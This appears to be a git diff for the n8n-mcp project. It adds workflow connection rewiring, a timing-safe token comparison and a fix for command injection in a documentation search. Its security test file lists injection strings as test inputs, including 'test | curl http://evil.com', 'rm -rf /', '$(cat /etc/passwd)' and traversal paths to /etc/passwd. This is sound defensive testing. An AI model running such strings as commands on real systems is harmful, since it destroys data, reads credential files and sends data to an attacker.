// Initialize connections structure if needed
|
||||
|
||||
// Resolve smart parameters (branch, case) to technical parameters
|
||||
const { sourceOutput, sourceIndex } = this.resolveSmartParameters(workflow, operation);
|
||||
|
||||
// Use nullish coalescing to properly handle explicit 0 values
|
||||
const targetInput = operation.targetInput ?? 'main';
|
||||
const targetIndex = operation.targetIndex ?? 0;
|
||||
|
||||
// Initialize source node connections object
|
||||
if (!workflow.connections[sourceNode.name]) {
|
||||
workflow.connections[sourceNode.name] = {};
|
||||
}
|
||||
|
||||
// Initialize output type array
|
||||
if (!workflow.connections[sourceNode.name][sourceOutput]) {
|
||||
workflow.connections[sourceNode.name][sourceOutput] = [];
|
||||
}
|
||||
|
||||
// Ensure we have array at the source index
|
||||
while (workflow.connections[sourceNode.name][sourceOutput].length <= sourceIndex) {
|
||||
workflow.connections[sourceNode.name][sourceOutput].push([]);
|
||||
|
||||
// Get reference to output array for clarity
|
||||
const outputArray = workflow.connections[sourceNode.name][sourceOutput];
|
||||
|
||||
// Ensure we have connection arrays up to and including the target sourceIndex
|
||||
while (outputArray.length <= sourceIndex) {
|
||||
outputArray.push([]);
|
||||
}
|
||||
|
||||
// Add connection
|
||||
workflow.connections[sourceNode.name][sourceOutput][sourceIndex].push({
|
||||
|
||||
// Defensive: Verify the slot is an array (should always be true after while loop)
|
||||
if (!Array.isArray(outputArray[sourceIndex])) {
|
||||
outputArray[sourceIndex] = [];
|
||||
}
|
||||
|
||||
// Add connection to the correct sourceIndex
|
||||
outputArray[sourceIndex].push({
|
||||
node: targetNode.name,
|
||||
type: targetInput,
|
||||
index: targetIndex
|
||||
@@ -630,12 +691,14 @@ export class WorkflowDiffEngine {
|
||||
workflow.connections[sourceNode.name][sourceOutput] = connections.map(conns =>
|
||||
conns.filter(conn => conn.node !== targetNode.name)
|
||||
);
|
||||
|
||||
// Clean up empty arrays
|
||||
workflow.connections[sourceNode.name][sourceOutput] =
|
||||
workflow.connections[sourceNode.name][sourceOutput].filter(conns => conns.length > 0);
|
||||
|
||||
if (workflow.connections[sourceNode.name][sourceOutput].length === 0) {
|
||||
|
||||
// Remove trailing empty arrays only (preserve intermediate empty arrays to maintain indices)
|
||||
const outputConnections = workflow.connections[sourceNode.name][sourceOutput];
|
||||
while (outputConnections.length > 0 && outputConnections[outputConnections.length - 1].length === 0) {
|
||||
outputConnections.pop();
|
||||
}
|
||||
|
||||
if (outputConnections.length === 0) {
|
||||
delete workflow.connections[sourceNode.name][sourceOutput];
|
||||
}
|
||||
|
||||
@@ -644,24 +707,36 @@ export class WorkflowDiffEngine {
|
||||
}
|
||||
}
|
||||
|
||||
private applyUpdateConnection(workflow: Workflow, operation: UpdateConnectionOperation): void {
|
||||
// For now, implement as remove + add
|
||||
/**
|
||||
* Rewire a connection from one target to another
|
||||
* This is a semantic wrapper around removeConnection + addConnection
|
||||
* that provides clear intent: "rewire connection from X to Y"
|
||||
*
|
||||
* @param workflow - Workflow to modify
|
||||
* @param operation - Rewire operation specifying source, from, and to
|
||||
*/
|
||||
private applyRewireConnection(workflow: Workflow, operation: RewireConnectionOperation): void {
|
||||
// Resolve smart parameters (branch, case) to technical parameters
|
||||
const { sourceOutput, sourceIndex } = this.resolveSmartParameters(workflow, operation);
|
||||
|
||||
// First, remove the old connection (source → from)
|
||||
this.applyRemoveConnection(workflow, {
|
||||
type: 'removeConnection',
|
||||
source: operation.source,
|
||||
target: operation.target,
|
||||
sourceOutput: operation.updates.sourceOutput,
|
||||
targetInput: operation.updates.targetInput
|
||||
target: operation.from,
|
||||
sourceOutput: sourceOutput,
|
||||
targetInput: operation.targetInput
|
||||
});
|
||||
|
||||
|
||||
// Then, add the new connection (source → to)
|
||||
this.applyAddConnection(workflow, {
|
||||
type: 'addConnection',
|
||||
source: operation.source,
|
||||
target: operation.target,
|
||||
sourceOutput: operation.updates.sourceOutput,
|
||||
targetInput: operation.updates.targetInput,
|
||||
sourceIndex: operation.updates.sourceIndex,
|
||||
targetIndex: operation.updates.targetIndex
|
||||
target: operation.to,
|
||||
sourceOutput: sourceOutput,
|
||||
targetInput: operation.targetInput,
|
||||
sourceIndex: sourceIndex,
|
||||
targetIndex: 0 // Default target index for new connection
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -64,6 +64,9 @@ export interface AddConnectionOperation extends DiffOperation {
|
||||
targetInput?: string; // Default: 'main'
|
||||
sourceIndex?: number; // Default: 0
|
||||
targetIndex?: number; // Default: 0
|
||||
// Smart parameters for multi-output nodes (Phase 1 UX improvement)
|
||||
branch?: 'true' | 'false'; // For IF nodes: maps to sourceIndex (0=true, 1=false)
|
||||
case?: number; // For Switch/multi-output nodes: maps to sourceIndex
|
||||
}
|
||||
|
||||
export interface RemoveConnectionOperation extends DiffOperation {
|
||||
@@ -75,16 +78,17 @@ export interface RemoveConnectionOperation extends DiffOperation {
|
||||
ignoreErrors?: boolean; // If true, don't fail when connection doesn't exist (useful for cleanup)
|
||||
}
|
||||
|
||||
export interface UpdateConnectionOperation extends DiffOperation {
|
||||
type: 'updateConnection';
|
||||
source: string;
|
||||
target: string;
|
||||
updates: {
|
||||
sourceOutput?: string;
|
||||
targetInput?: string;
|
||||
sourceIndex?: number;
|
||||
targetIndex?: number;
|
||||
};
|
||||
export interface RewireConnectionOperation extends DiffOperation {
|
||||
type: 'rewireConnection';
|
||||
source: string; // Source node name or ID
|
||||
from: string; // Current target to rewire FROM
|
||||
to: string; // New target to rewire TO
|
||||
sourceOutput?: string; // Optional: which output to rewire (default: 'main')
|
||||
targetInput?: string; // Optional: which input type (default: 'main')
|
||||
sourceIndex?: number; // Optional: which source index (default: 0)
|
||||
// Smart parameters for multi-output nodes (Phase 1 UX improvement)
|
||||
branch?: 'true' | 'false'; // For IF nodes: maps to sourceIndex (0=true, 1=false)
|
||||
case?: number; // For Switch/multi-output nodes: maps to sourceIndex
|
||||
}
|
||||
|
||||
// Workflow Metadata Operations
|
||||
@@ -139,7 +143,7 @@ export type WorkflowDiffOperation =
|
||||
| DisableNodeOperation
|
||||
| AddConnectionOperation
|
||||
| RemoveConnectionOperation
|
||||
| UpdateConnectionOperation
|
||||
| RewireConnectionOperation
|
||||
| UpdateSettingsOperation
|
||||
| UpdateNameOperation
|
||||
| AddTagOperation
|
||||
@@ -187,8 +191,8 @@ export function isNodeOperation(op: WorkflowDiffOperation): op is
|
||||
}
|
||||
|
||||
export function isConnectionOperation(op: WorkflowDiffOperation): op is
|
||||
AddConnectionOperation | RemoveConnectionOperation | UpdateConnectionOperation | CleanStaleConnectionsOperation | ReplaceConnectionsOperation {
|
||||
return ['addConnection', 'removeConnection', 'updateConnection', 'cleanStaleConnections', 'replaceConnections'].includes(op.type);
|
||||
AddConnectionOperation | RemoveConnectionOperation | RewireConnectionOperation | CleanStaleConnectionsOperation | ReplaceConnectionsOperation {
|
||||
return ['addConnection', 'removeConnection', 'rewireConnection', 'cleanStaleConnections', 'replaceConnections'].includes(op.type);
|
||||
}
|
||||
|
||||
export function isMetadataOperation(op: WorkflowDiffOperation): op is
|
||||
|
||||
@@ -22,8 +22,9 @@ export class AuthManager {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check static token
|
||||
if (token === expectedToken) {
|
||||
// SECURITY: Use timing-safe comparison for static token
|
||||
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
|
||||
if (AuthManager.timingSafeCompare(token, expectedToken)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -97,4 +98,47 @@ export class AuthManager {
|
||||
Buffer.from(hashedToken)
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Compare two tokens using constant-time algorithm to prevent timing attacks
|
||||
*
|
||||
* @param plainToken - Token from request
|
||||
* @param expectedToken - Expected token value
|
||||
* @returns true if tokens match, false otherwise
|
||||
*
|
||||
* @security This uses crypto.timingSafeEqual to prevent timing attack vulnerabilities.
|
||||
* Never use === or !== for token comparison as it allows attackers to discover
|
||||
* tokens character-by-character through timing analysis.
|
||||
*
|
||||
* @example
|
||||
* const isValid = AuthManager.timingSafeCompare(requestToken, serverToken);
|
||||
* if (!isValid) {
|
||||
* return res.status(401).json({ error: 'Unauthorized' });
|
||||
* }
|
||||
*
|
||||
* @see https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
|
||||
*/
|
||||
static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
|
||||
try {
|
||||
// Tokens must be non-empty
|
||||
if (!plainToken || !expectedToken) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Convert to buffers
|
||||
const plainBuffer = Buffer.from(plainToken, 'utf8');
|
||||
const expectedBuffer = Buffer.from(expectedToken, 'utf8');
|
||||
|
||||
// Check length first (constant time not needed for length comparison)
|
||||
if (plainBuffer.length !== expectedBuffer.length) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Constant-time comparison
|
||||
return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
|
||||
} catch (error) {
|
||||
// Buffer conversion or comparison failed
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -560,35 +560,113 @@ export class EnhancedDocumentationFetcher {
|
||||
|
||||
/**
|
||||
* Search for node documentation file
|
||||
* SECURITY: Uses Node.js fs APIs instead of shell commands to prevent command injection
|
||||
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
|
||||
*/
|
||||
private async searchForNodeDoc(nodeType: string): Promise<string | null> {
|
||||
try {
|
||||
// First try exact match with nodeType
|
||||
let result = execSync(
|
||||
`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md" -type f | grep -v credentials | head -1`,
|
||||
{ encoding: 'utf-8', stdio: 'pipe' }
|
||||
).trim();
|
||||
|
||||
if (result) return result;
|
||||
|
||||
// Try lowercase nodeType
|
||||
const lowerNodeType = nodeType.toLowerCase();
|
||||
result = execSync(
|
||||
`find ${this.docsPath}/docs/integrations/builtin -name "${lowerNodeType}.md" -type f | grep -v credentials | head -1`,
|
||||
{ encoding: 'utf-8', stdio: 'pipe' }
|
||||
).trim();
|
||||
|
||||
if (result) return result;
|
||||
|
||||
// Try node name pattern but exclude trigger nodes
|
||||
const nodeName = this.extractNodeName(nodeType);
|
||||
result = execSync(
|
||||
`find ${this.docsPath}/docs/integrations/builtin -name "*${nodeName}.md" -type f | grep -v credentials | grep -v trigger | head -1`,
|
||||
{ encoding: 'utf-8', stdio: 'pipe' }
|
||||
).trim();
|
||||
|
||||
return result || null;
|
||||
// SECURITY: Sanitize input to prevent command injection and directory traversal
|
||||
const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
|
||||
|
||||
if (!sanitized) {
|
||||
logger.warn('Invalid nodeType after sanitization', { nodeType });
|
||||
return null;
|
||||
}
|
||||
|
||||
// SECURITY: Block directory traversal attacks
|
||||
if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
|
||||
logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
|
||||
return null;
|
||||
}
|
||||
|
||||
// Log sanitization if it occurred
|
||||
if (sanitized !== nodeType) {
|
||||
logger.warn('nodeType was sanitized (potential injection attempt)', {
|
||||
original: nodeType,
|
||||
sanitized,
|
||||
});
|
||||
}
|
||||
|
||||
// SECURITY: Use path.basename to strip any path components
|
||||
const safeName = path.basename(sanitized);
|
||||
const searchPath = path.join(this.docsPath, 'docs', 'integrations', 'builtin');
|
||||
|
||||
// SECURITY: Read directory recursively using Node.js fs API (no shell execution!)
|
||||
const files = await fs.readdir(searchPath, {
|
||||
recursive: true,
|
||||
encoding: 'utf-8'
|
||||
}) as string[];
|
||||
|
||||
// Try exact match first
|
||||
let match = files.find(f =>
|
||||
f.endsWith(`${safeName}.md`) &&
|
||||
!f.includes('credentials') &&
|
||||
!f.includes('trigger')
|
||||
);
|
||||
|
||||
if (match) {
|
||||
const fullPath = path.join(searchPath, match);
|
||||
|
||||
// SECURITY: Verify final path is within expected directory
|
||||
if (!fullPath.startsWith(searchPath)) {
|
||||
logger.error('Path traversal blocked in final path', { fullPath, searchPath });
|
||||
return null;
|
||||
}
|
||||
|
||||
logger.info('Found documentation (exact match)', { path: fullPath });
|
||||
return fullPath;
|
||||
}
|
||||
|
||||
// Try lowercase match
|
||||
const lowerSafeName = safeName.toLowerCase();
|
||||
match = files.find(f =>
|
||||
f.endsWith(`${lowerSafeName}.md`) &&
|
||||
!f.includes('credentials') &&
|
||||
!f.includes('trigger')
|
||||
);
|
||||
|
||||
if (match) {
|
||||
const fullPath = path.join(searchPath, match);
|
||||
|
||||
// SECURITY: Verify final path is within expected directory
|
||||
if (!fullPath.startsWith(searchPath)) {
|
||||
logger.error('Path traversal blocked in final path', { fullPath, searchPath });
|
||||
return null;
|
||||
}
|
||||
|
||||
logger.info('Found documentation (lowercase match)', { path: fullPath });
|
||||
return fullPath;
|
||||
}
|
||||
|
||||
// Try partial match with node name
|
||||
const nodeName = this.extractNodeName(safeName);
|
||||
match = files.find(f =>
|
||||
f.toLowerCase().includes(nodeName.toLowerCase()) &&
|
||||
f.endsWith('.md') &&
|
||||
!f.includes('credentials') &&
|
||||
!f.includes('trigger')
|
||||
);
|
||||
|
||||
if (match) {
|
||||
const fullPath = path.join(searchPath, match);
|
||||
|
||||
// SECURITY: Verify final path is within expected directory
|
||||
if (!fullPath.startsWith(searchPath)) {
|
||||
logger.error('Path traversal blocked in final path', { fullPath, searchPath });
|
||||
return null;
|
||||
}
|
||||
|
||||
logger.info('Found documentation (partial match)', { path: fullPath });
|
||||
return fullPath;
|
||||
}
|
||||
|
||||
logger.debug('No documentation found', { nodeType: safeName });
|
||||
return null;
|
||||
} catch (error) {
|
||||
logger.error('Error searching for node documentation:', {
|
||||
error: error instanceof Error ? error.message : String(error),
|
||||
nodeType,
|
||||
});
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -32,13 +32,18 @@ export function normalizeNodeType(nodeType: string): string {
|
||||
|
||||
/**
|
||||
* Gets alternative node type formats to try for lookups
|
||||
*
|
||||
*
|
||||
* @param nodeType The original node type
|
||||
* @returns Array of alternative formats to try
|
||||
*/
|
||||
export function getNodeTypeAlternatives(nodeType: string): string[] {
|
||||
// Defensive: validate input to prevent TypeError when nodeType is undefined/null/empty
|
||||
if (!nodeType || typeof nodeType !== 'string' || nodeType.trim() === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
const alternatives: string[] = [];
|
||||
|
||||
|
||||
// Add lowercase version
|
||||
alternatives.push(nodeType.toLowerCase());
|
||||
|
||||
|
||||
1637
test-output.txt
Normal file
1637
test-output.txt
Normal file
File diff suppressed because it is too large
Load Diff
2448
tests/integration/n8n-api/workflows/smart-parameters.test.ts
Normal file
2448
tests/integration/n8n-api/workflows/smart-parameters.test.ts
Normal file
File diff suppressed because it is too large
Load Diff
166
tests/integration/security/command-injection-prevention.test.ts
Normal file
166
tests/integration/security/command-injection-prevention.test.ts
Normal file
@@ -0,0 +1,166 @@
|
||||
import { describe, it, expect, beforeAll } from 'vitest';
|
||||
import { EnhancedDocumentationFetcher } from '../../../src/utils/enhanced-documentation-fetcher';
|
||||
|
||||
/**
|
||||
* Integration tests for command injection prevention
|
||||
*
|
||||
* SECURITY: These tests verify that malicious inputs cannot execute shell commands
|
||||
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
|
||||
*/
|
||||
describe('Command Injection Prevention', () => {
|
||||
let fetcher: EnhancedDocumentationFetcher;
|
||||
|
||||
beforeAll(() => {
|
||||
fetcher = new EnhancedDocumentationFetcher();
|
||||
});
|
||||
|
||||
describe('Command Injection Attacks', () => {
|
||||
it('should sanitize all command injection attempts without executing commands', async () => {
|
||||
// SECURITY: The key is that special characters are sanitized, preventing command execution
|
||||
// After sanitization, the string may become a valid search term (e.g., 'test')
|
||||
// which is safe behavior - no commands are executed
|
||||
const attacks = [
|
||||
'test"; rm -rf / #', // Sanitizes to: test
|
||||
'test && cat /etc/passwd',// Sanitizes to: test
|
||||
'test | curl http://evil.com', // Sanitizes to: test
|
||||
'test`whoami`', // Sanitizes to: test
|
||||
'test$(cat /etc/passwd)', // Sanitizes to: test
|
||||
'test\nrm -rf /', // Sanitizes to: test
|
||||
'"; rm -rf / #', // Sanitizes to: empty
|
||||
'&&& curl http://evil.com', // Sanitizes to: empty
|
||||
'|||', // Sanitizes to: empty
|
||||
'```', // Sanitizes to: empty
|
||||
'$()', // Sanitizes to: empty
|
||||
'\n\n\n', // Sanitizes to: empty
|
||||
];
|
||||
|
||||
for (const attack of attacks) {
|
||||
// Should complete without throwing errors or executing commands
|
||||
// Result may be null or may find documentation - both are safe as long as no commands execute
|
||||
await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Directory Traversal Prevention', () => {
|
||||
it('should block parent directory traversal', async () => {
|
||||
const traversalAttacks = [
|
||||
'../../../etc/passwd',
|
||||
'../../etc/passwd',
|
||||
'../etc/passwd',
|
||||
];
|
||||
|
||||
for (const attack of traversalAttacks) {
|
||||
const result = await fetcher.getEnhancedNodeDocumentation(attack);
|
||||
expect(result).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('should block URL-encoded directory traversal', async () => {
|
||||
const traversalAttacks = [
|
||||
'..%2f..%2fetc%2fpasswd',
|
||||
'..%2fetc%2fpasswd',
|
||||
];
|
||||
|
||||
for (const attack of traversalAttacks) {
|
||||
const result = await fetcher.getEnhancedNodeDocumentation(attack);
|
||||
expect(result).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('should block relative path references', async () => {
|
||||
const pathAttacks = [
|
||||
'..',
|
||||
'....',
|
||||
'./test',
|
||||
'../test',
|
||||
];
|
||||
|
||||
for (const attack of pathAttacks) {
|
||||
const result = await fetcher.getEnhancedNodeDocumentation(attack);
|
||||
expect(result).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('should block absolute paths', async () => {
|
||||
const pathAttacks = [
|
||||
'/etc/passwd',
|
||||
'/usr/bin/whoami',
|
||||
'/var/log/auth.log',
|
||||
];
|
||||
|
||||
for (const attack of pathAttacks) {
|
||||
const result = await fetcher.getEnhancedNodeDocumentation(attack);
|
||||
expect(result).toBeNull();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Special Character Handling', () => {
|
||||
it('should sanitize special characters', async () => {
|
||||
const specialChars = [
|
||||
'test;',
|
||||
'test|',
|
||||
'test&',
|
||||
'test`',
|
||||
'test$',
|
||||
'test(',
|
||||
'test)',
|
||||
'test<',
|
||||
'test>',
|
||||
];
|
||||
|
||||
for (const input of specialChars) {
|
||||
const result = await fetcher.getEnhancedNodeDocumentation(input);
|
||||
// Should sanitize and search, not execute commands
|
||||
// Result should be null (not found) but no command execution
|
||||
expect(result).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('should sanitize null bytes', async () => {
|
||||
// Null bytes are sanitized, leaving 'test' as valid search term
|
||||
const nullByteAttacks = [
|
||||
'test\0.md',
|
||||
'test\u0000',
|
||||
];
|
||||
|
||||
for (const attack of nullByteAttacks) {
|
||||
// Should complete safely - null bytes are removed
|
||||
await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Legitimate Operations', () => {
|
||||
it('should still find valid node documentation with safe characters', async () => {
|
||||
// Test with a real node type that should exist
|
||||
const validNodeTypes = [
|
||||
'slack',
|
||||
'gmail',
|
||||
'httpRequest',
|
||||
];
|
||||
|
||||
for (const nodeType of validNodeTypes) {
|
||||
const result = await fetcher.getEnhancedNodeDocumentation(nodeType);
|
||||
// May or may not find docs depending on setup, but should not throw or execute commands
|
||||
// The key is that it completes without error
|
||||
expect(result === null || typeof result === 'object').toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle hyphens and underscores safely', async () => {
|
||||
const safeNames = [
|
||||
'http-request',
|
||||
'google_sheets',
|
||||
'n8n-nodes-base',
|
||||
];
|
||||
|
||||
for (const name of safeNames) {
|
||||
const result = await fetcher.getEnhancedNodeDocumentation(name);
|
||||
// Should process safely without executing commands
|
||||
expect(result === null || typeof result === 'object').toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -74,12 +74,12 @@ describe('Parameter Validation', () => {
|
||||
}).toThrow('Missing required parameters for test_tool: nodeType');
|
||||
});
|
||||
|
||||
it('should pass when required parameter is empty string', () => {
|
||||
it('should reject when required parameter is empty string (Issue #275 fix)', () => {
|
||||
const args = { query: '', limit: 10 };
|
||||
|
||||
|
||||
expect(() => {
|
||||
server.testValidateToolParams('test_tool', args, ['query']);
|
||||
}).not.toThrow();
|
||||
}).toThrow('String parameters cannot be empty');
|
||||
});
|
||||
|
||||
it('should pass when required parameter is zero', () => {
|
||||
|
||||
@@ -12,7 +12,6 @@ import {
|
||||
DisableNodeOperation,
|
||||
AddConnectionOperation,
|
||||
RemoveConnectionOperation,
|
||||
UpdateConnectionOperation,
|
||||
UpdateSettingsOperation,
|
||||
UpdateNameOperation,
|
||||
AddTagOperation,
|
||||
@@ -774,9 +773,656 @@ describe('WorkflowDiffEngine', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('UpdateConnection Operation', () => {
|
||||
it('should update connection properties', async () => {
|
||||
// Add an IF node with multiple outputs
|
||||
|
||||
describe('RewireConnection Operation (Phase 1)', () => {
|
||||
it('should rewire connection from one target to another', async () => {
|
||||
// Setup: Create a connection Webhook → HTTP Request
|
||||
// Then rewire it to Webhook → Slack instead
|
||||
const rewireOp: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'Webhook',
|
||||
from: 'HTTP Request',
|
||||
to: 'Slack'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [rewireOp]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.workflow).toBeDefined();
|
||||
|
||||
// Old connection should be removed
|
||||
const webhookConnections = result.workflow!.connections['Webhook']['main'][0];
|
||||
expect(webhookConnections.some((c: any) => c.node === 'HTTP Request')).toBe(false);
|
||||
|
||||
// New connection should exist
|
||||
expect(webhookConnections.some((c: any) => c.node === 'Slack')).toBe(true);
|
||||
});
|
||||
|
||||
it('should rewire connection with specified sourceOutput', async () => {
|
||||
// Add IF node with connection on 'true' output
|
||||
const addNode: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'IF',
|
||||
type: 'n8n-nodes-base.if',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addConn: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'HTTP Request',
|
||||
sourceOutput: 'true'
|
||||
};
|
||||
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'IF',
|
||||
from: 'HTTP Request',
|
||||
to: 'Slack',
|
||||
sourceOutput: 'true'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addNode, addConn, rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Verify rewiring on 'true' output
|
||||
const trueConnections = result.workflow!.connections['IF']['true'][0];
|
||||
expect(trueConnections.some((c: any) => c.node === 'HTTP Request')).toBe(false);
|
||||
expect(trueConnections.some((c: any) => c.node === 'Slack')).toBe(true);
|
||||
});
|
||||
|
||||
it('should preserve other parallel connections when rewiring', async () => {
|
||||
// Setup: Webhook connects to both HTTP Request (in baseWorkflow) and Slack (added here)
|
||||
// Add a Set node, then rewire HTTP Request → Set
|
||||
// Slack connection should remain unchanged
|
||||
|
||||
// Add Slack connection in parallel
|
||||
const addSlackConn: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Webhook',
|
||||
target: 'Slack'
|
||||
};
|
||||
|
||||
// Add Set node to rewire to
|
||||
const addSetNode: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Set',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [800, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Rewire HTTP Request → Set
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'Webhook',
|
||||
from: 'HTTP Request',
|
||||
to: 'Set'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addSlackConn, addSetNode, rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
const webhookConnections = result.workflow!.connections['Webhook']['main'][0];
|
||||
|
||||
// HTTP Request should be removed
|
||||
expect(webhookConnections.some((c: any) => c.node === 'HTTP Request')).toBe(false);
|
||||
|
||||
// Set should be added
|
||||
expect(webhookConnections.some((c: any) => c.node === 'Set')).toBe(true);
|
||||
|
||||
// Slack should still be there (parallel connection preserved)
|
||||
expect(webhookConnections.some((c: any) => c.node === 'Slack')).toBe(true);
|
||||
});
|
||||
|
||||
it('should reject rewireConnection when source node not found', async () => {
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'NonExistent',
|
||||
from: 'HTTP Request',
|
||||
to: 'Slack'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.errors).toBeDefined();
|
||||
expect(result.errors![0].message).toContain('Source node not found');
|
||||
expect(result.errors![0].message).toContain('NonExistent');
|
||||
expect(result.errors![0].message).toContain('Available nodes');
|
||||
});
|
||||
|
||||
it('should reject rewireConnection when "from" node not found', async () => {
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'Webhook',
|
||||
from: 'NonExistent',
|
||||
to: 'Slack'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.errors).toBeDefined();
|
||||
expect(result.errors![0].message).toContain('"From" node not found');
|
||||
expect(result.errors![0].message).toContain('NonExistent');
|
||||
});
|
||||
|
||||
it('should reject rewireConnection when "to" node not found', async () => {
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'Webhook',
|
||||
from: 'HTTP Request',
|
||||
to: 'NonExistent'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.errors).toBeDefined();
|
||||
expect(result.errors![0].message).toContain('"To" node not found');
|
||||
expect(result.errors![0].message).toContain('NonExistent');
|
||||
});
|
||||
|
||||
it('should reject rewireConnection when connection does not exist', async () => {
|
||||
// Slack node exists but doesn't have any outgoing connections
|
||||
// So this should fail with "No connections found" error
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'Slack', // Slack has no outgoing connections in baseWorkflow
|
||||
from: 'HTTP Request',
|
||||
to: 'Webhook' // Use existing node
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.errors).toBeDefined();
|
||||
expect(result.errors![0].message).toContain('No connections found from');
|
||||
expect(result.errors![0].message).toContain('Slack');
|
||||
});
|
||||
|
||||
it('should handle rewiring IF node branches correctly', async () => {
|
||||
// Add IF node with true/false branches
|
||||
const addIF: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'IF',
|
||||
type: 'n8n-nodes-base.if',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addSuccess: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'SuccessHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [800, 200]
|
||||
}
|
||||
};
|
||||
|
||||
const addError: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'ErrorHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [800, 400]
|
||||
}
|
||||
};
|
||||
|
||||
const connectTrue: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'SuccessHandler',
|
||||
sourceOutput: 'true'
|
||||
};
|
||||
|
||||
const connectFalse: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'ErrorHandler',
|
||||
sourceOutput: 'false'
|
||||
};
|
||||
|
||||
// Rewire the false branch to go to SuccessHandler instead
|
||||
const rewireFalse: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'IF',
|
||||
from: 'ErrorHandler',
|
||||
to: 'Slack',
|
||||
sourceOutput: 'false'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addIF, addSuccess, addError, connectTrue, connectFalse, rewireFalse]
|
||||
};
|
||||
